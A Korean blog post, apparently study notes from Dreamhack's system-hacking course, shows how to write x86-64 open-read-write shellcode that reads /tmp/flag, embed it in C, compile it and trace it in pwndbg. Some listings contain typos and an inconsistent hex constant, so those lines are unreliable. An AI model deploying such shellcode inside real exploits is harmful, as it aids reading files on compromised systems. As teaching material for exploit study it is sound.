

오늘도 상관없는 스타워즈 밈과 함께...
드림핵의 시스템해킹 로드맴에서의 강의의 내용과 매우 유사하다.
그저 이 내용을 공부하면서 조금 정리를 해놓으면 좋을거 같아서 간단한 설명과 함께 기록해놓는 것이니, 잘 이해가 되지 않는다면 드림핵 강의자료를 참고하는 것도 도움이 될 것이다.
다들 화이팅!
공격방법 중 하나로, 익스플로잇을 위한 어셈블리 코드 조각이다.
일반적으로 shell을 획득하는 것을 주목적으로 작성하기에 이런 이름이 있다.
이번에는 orw(파일 읽고 쓰기)를 위한 셸코드를 작성하는 과정을 구체적으로 정리해보겠다.
파일을 열고 읽고 쓰는 과정의 실습을 위해 아래와 같은 c언어 파편을 어셈블리로 구현하면 된다 .
char buf[0x30];
int fd = open("/tmp/flag", RD_ONLY, NULL);
read(fd, buf, 0x30);
write(1, buf, 0x30);
open에 대해서는 rax=0x02,
read에 대해서는 rax=0x00,
write에 대해서는 rax=0x01
그리고 시스템콜에서 첫 세 인자에 대해서 rdi, rsi, rdx를 대응시킨다는 것을 기억해서 한줄 한줄 생성해보자
| syscall | rax | arg0 (rdi) | arg1 (rsi) | arg2 (rdx) |
|---|---|---|---|---|
| open | 0x02 | const char *pathname | int flags | * mode_t mode |
int fd = open("/tmp/flag", RD_ONLY, NULL);
하나 하나 준비해보자.
먼저 rdi가 파일 경로의 주소를 가리켜야 한다.
따라서 먼저 "/tmp/flag" 문자열을 리틀 엔디언 형태의 바이트로 변환하여 스택에 넣어주자.
간단한 상황이니 인터넷 툴을 이용한다.

리틀 엔디언이므로 순서를 반전시키면 0x67616c662f706d65742f이다.
스택은 한 줄이 8바이트 단위이므로, 총 9바이트를 나누어서 스택에 입력해주어야 한다. (드림핵에서는 나머지 8바이트를 스택에 넣을 때, 이를 rax에 대응시키더라)
push 0x67
mov rax 0x616c662f706d65742f
push rax
파일 경로에 대한 문자열을 스택에 위치시켰으므로, 파일 경로에 대한 주소는? 바로 현 스택포인터가 된다. 그러므로 rdi가 스택포인터(rsp)를 바라보도록 한다.
moc rdi rsp
그 다음으로 파일을 읽기 전용으로 열게하기 위해서 O_RDONLY flag를 설정한다.
fctnl.h 헤더 파일에서 각 flag에 대한 숫자 대응 값을 정의하고 있는데
이 링크에서도 볼 수 있다. 보면 O_RDONLY는 0으로 설정하면 된다.
따라서 rsi를 0으로, 그리고 모드도 NULL로 설정하기에 rdx도 0으로 설정한다.
마지막으로 rax를 2로 설정해서 syscall로 open을 실행한다.
push 0x67
mov rax, 0x616c662f706d65742f
push rax
mov rdi, rsp
xor rsi, rsi
xor rdx, rdx
mov rax, 2
syscall
| syscall | rax | arg0 (rdi) | arg1 (rsi) | arg2 (rdx) |
|---|---|---|---|---|
| open | 0x00 | int fd | const char *buf | size_t count |
fd는 open 함수의 결과이므로 rax에 저장되어 있다.
mov rdi, rax
그리고 0x30 바이트를 읽을 버퍼의 주소를 두번째 인자에 전달해야 하는데 그걸 위해서 버퍼를 스택에서 손수 만들자.
mov rsi, rsp
sub rsi, 0x30
그리고 읽을 자료의 크기인 0x30을 rdx에게 준다.
mov rdx, 0x30
마지막으로 read를 실행하기 위해서 rax를 설정해준다.
mov rax, 0x0
syscall
정리하면 아래와 같다.
mov rdi, rax
mov rsi, rsp
sub rsi, 0x30
mov rdx, 0x30
mov rax, 0x0
syscall
| syscall | rax | arg0 (rdi) | arg1 (rsi) | arg2 (rdx) |
|---|---|---|---|---|
| open | 0x01 | int fd | const char *buf | size_t count |
read와 형식이 비슷하여 바꿀게 거의 없다.
하지만 write 함수의 목적이 파일에 글을 쓰는 것이 아니라 읽은 것을 stdout 하는 것이므로 rdi를 0x01로 설정한다.
또한 버퍼를 rsi가 원래부터 참조하고 있으므로 수정할 필요가 없다. rdx도 마찬가지.
mov rdi, 1
mov rax, 0x01
syscall
우리가 작성한 코드는 아래와 같은데, 당연히 생뚱맞게 이걸 어디에다 집어넣으면 실행해준다고 생각하기 어렵다.
어셈블리는 기계어로 변환되어 CPU 수준에서 사용되는 언어이기 때문이다.
그렇기에 윈도우에서는 PE 포멧 파일로, 리눅스에서는 ELF 포멧의 실행파일로 컴파일되어야 원하는 때에 실행시킬 수 있다.
push 0x67
mov rax, 0x616c662f706d65742f
push rax
mov rdi, rsp
xor rsi, rsi
xor rdx, rdx
mov rax, 2
syscall
mov rdi, rax
mov rsi, rsp
sub rsi, 0x30
mov rdx, 0x30
mov rax, 0x0
syscall
mov rdi, 1
mov rax, 0x01
syscall
컴파일을 하기 위해서 일단은 우리가 작성한 셸코드를 c 파일에 편입시키자.
// File name: orw.c
// Compile: gcc -o orw orw.c -masm=intel
__asm__(
".global run_sh\n"
"run_sh:\n"
"push 0x67\n"
"mov rax, 0x616c662f706d742f \n"
"push rax \n"
"mov rdi, rsp \n"
"xor rsi, rsi \n"
"xor rdx, rdx \n"
"mov rax, 2 \n"
"syscall \n"
"\n"
"mov rdi, rax \n"
"mov rsi, rsp \n"
"sub rsi, 0x30 \n"
"mov rdx, 0x30 \n"
"mov rax, 0x0 \n"
"syscall \n"
"\n"
"mov rdi, 1 \n"
"mov rax, 0x1 \n"
"syscall \n"
"\n"
"xor rdi, rdi \n"
"mov rax, 0x3c \n" #강의에서도 0x1로 하다가 여기에서 0x3c로 바꾸었다. 근데 0x1로 하면 Segmentation Fault라는 에러가 나서 일단은 0x3c로 하는게 적당한거 같다. 허나 0x1로 해도 디버거상에서는 정상적으로 작동되니 둘다 시도 해보시길
"syscall") ;
void run_sh();
int main() { run_sh(); }
".global run_sh\n"
"run_sh:\n"
이렇게 두 줄이 생소할 수 있는데,
첫 줄은 run_sh 심볼을 전역으로 선언하여 다른 소스나 링커가 이를 참조할 수 있게 한다.
두 번째 줄은 어셈블리 코드에서 해당 위치가 run_sh 함수의 시작점임을 표신한다.
이제 이렇게 작성한 c 파일을 컴파일한다.
셸에서 중간 문구가 작성된 파일을 만든다.
echo 'flag{this_is_your_flag_for_your_shellcode}' > /tmp/flag
cat로 제대로 생성되었는지 확인해본다.
cat /tmp/flag
gcc -o orw orw.c -masm=intel
위 명령어로 컴파일한다.
./orw 명령어로 생성된 ELF 파일을 실행하면, 방금 생성한 파일의 정보를 잘 읽어오는 것을 확인할 수 있다.
셸코드 잘 만들었다!!!라고 생각했는데 디버깅까지 해보자고 한다..
gdb orw -q로 디버거를 실행해보자.
pwndbg> b *run_sh
셸코드에서 우리가 만든 단 하나의 함수인 run_sh에 브레이크포인트를 설정한다.
r 명령어를 입력하여 방금 설정한 브레이크포인트까지 프로그램을 진전시킨다.
디버거의 디스어셈블 화면에서 처음 등장하는 syscall의 위치를 확인하여, 다음 브레이크 포인트로 설정해주자.
pwndbg> b *run_sh+29
c를 통해 현재 위치에서 다음 브레이크포인트인 run_sh+29까지 한번에 진행할 수 있다.
그 결과 아래와 같이, 앞에 별표가 붙은 방금 사이에 변화가 생긴 레지스터들을 확인할 수 있다.
*RAX 2
...
*RDX 0
*RDI 0x7fffffffdcf8 ◂— '/tmp/flag'
*RSI 0
*RSP 0x7fffffffdcf8 ◂— '/tmp/flag'
*RIP 0x555555555146 (run_sh+29) ◂— syscall
RAX는 open함수를 열기 위해 설정되어 있고,
파일의 경로는 현재 스택포인터가 가리기키고 있는 주소를 rdi가 같이 가리키고 있다.
ni로 rip가 가리키고 있는 syscall을 실행하면, rax에 open함수에 의한반환 값인 fd = 3이 설정되는 것을 확인할 수 있다.
pwndbg> b *run_sh+55
read에 대한 syscall에 브레이크포인트를 건다.
c로 훌쩍 뛰어넘어보면, 레지스터 상태가 아래와 같다.
*RAX 0
...
*RDX 0x30
*RDI 3
*RSI 0x7fffffffdcc8 ◂— 0
...
RSP 0x7fffffffdcf8 ◂— '/tmp/flag'
*RIP 0x555555555160 (run_sh+55) ◂— syscall
함수의 버퍼의 주소를 관리하는 rsi가 rsp에서 정확히 0x30을 뺀 값을 가지고 있는 것을 볼 수 있다. 그만큼의 영역을 파일의 정보를 읽을 버퍼로 사용하는 것이다.
ni 명령어로 syscall을 시행한다.
RSI 0x7fffffffdcc8 ◂— 'flag{this_is_flag_for_your_shellcode}\n'
버퍼의 주소에 파일의 내용이 저장되어 있는 것을 확인할 수 있다.
examine 명령어를 이용해서도 다시 확인해보자.
pwndbg> x/s 0x7fffffffdcc8
0x7fffffffdcc8: "flag{this_is_flag_for_your_shellcode}\n"
잘 저장되어 있다.
이전과 마찬가지로 syscall 직전까지 프로그램을 진행시키기 위해
*run_sh+71에 브레이크포인트를 걸어준다.
레지스터가 우리가 설정한대로 잘 작동하는 것을 볼 수 있다.
pwndbg> x/6gx 0x7fffffffdcc8
0x7fffffffdcc8: 0x6968747b67616c66 0x616c665f73695f73
0x7fffffffdcd8: 0x6f795f726f665f67 0x6c6c6568735f7275
0x7fffffffdce8: 0x00000a7d65646f63 0x0000000000000000
우리는 이와 같이 read함수 때 확보해둔 버퍼를 조사함으로써, 초기화 되지 않은 영역들에 무슨 값이 써져있었는지 확인해볼 수 있다.